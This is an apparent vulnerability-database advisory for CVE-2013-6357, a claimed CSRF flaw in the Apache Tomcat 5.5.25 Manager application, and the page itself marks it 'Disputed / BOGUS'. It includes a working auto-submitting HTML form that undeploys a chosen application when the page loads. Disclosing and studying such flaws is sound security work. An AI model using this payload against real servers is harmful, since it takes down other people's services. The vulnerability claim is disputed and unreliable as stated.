Disputed / BOGUS

Apache Tomcat 5.5.25 CSRF Vulnerabilities

Published
Credit
Risk
2013.11.04
Ivano Binetti
Low
CWE
CVE
Local
Remote
CWE-352
CVE-2013-6357
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
6.8/10
6.4/10
8.6/10
Exploit range
Attack complexity
Authentication
Remote
Medium
No required
Confidentiality impact
Integrity impact
Availability impact
Partial
Partial
Partial

+--------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title : Apache Tomcat 5.5.25 CSRF Vulnerabilities
# Date : 10-24-2013
# Author : Ivano Binetti (http://ivanobinetti.com)
# Author : Gianmarco Pirozzi (http://www.linkedin.com/pub/gianmarco-pirozzi/63/80b/2a5)
# Vendor site : http://tomcat.apache.org/
# Version : Apache Tomcat 5.5.25 and below (other versions could be affected)
# Tested on : Apache Tomcat 5.5.25
# Original Advisory : http://www.webapp-security.com/2013/11/apache-tomcat-5-5-25-deployundeploystartstop-applications/
# CVE-ID : CVE-2013-6357
+---------------------------------------------------------------------------------------------------------------------------------+
Summary

1)Introduction
2)Vulnerability Description
3)Exploit
3.1 Undeploy Applications
+---------------------------------------------------------------------------------------------------------------------------------+

1) Introduction
Apache Tomcat is an open source software implementation of the Java Servlet and JavaServer Pages technologies.
The Java Servlet and JavaServer Pages specifications are developed under the Java Community Process.

2) Vulnerability Description
Apache Tomcat 5.5.25 and below (other versions could be affected) is prone to a CSRF vulnerability affecting the Manager application
(which is the component utilized to start/stop/deploy/undeploy applications) in order to perform the following malicious activities:

- stop an existing application
- undeploy an existing application
- deploy a new application

In this Advisory I will only demonstate how to automatically undeploy an existing application.

3) Exploit
3.1 Undeploy Applications
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to Undeploy an Application</H2>
<form method="POST" name="form0" action="http://<tomcat_ip>:<tomcat_tcp/port>/manager/html/undeploy?path=/<name_of_application_to_undeploy>">
</form>
</body>
</html>
+----------------------------------------------------------------------------------------------------------------------------------+

References:

http://www.webapp-security.com/2013/11/apache-tomcat-5-5-25-deployundeploystartstop-applications/


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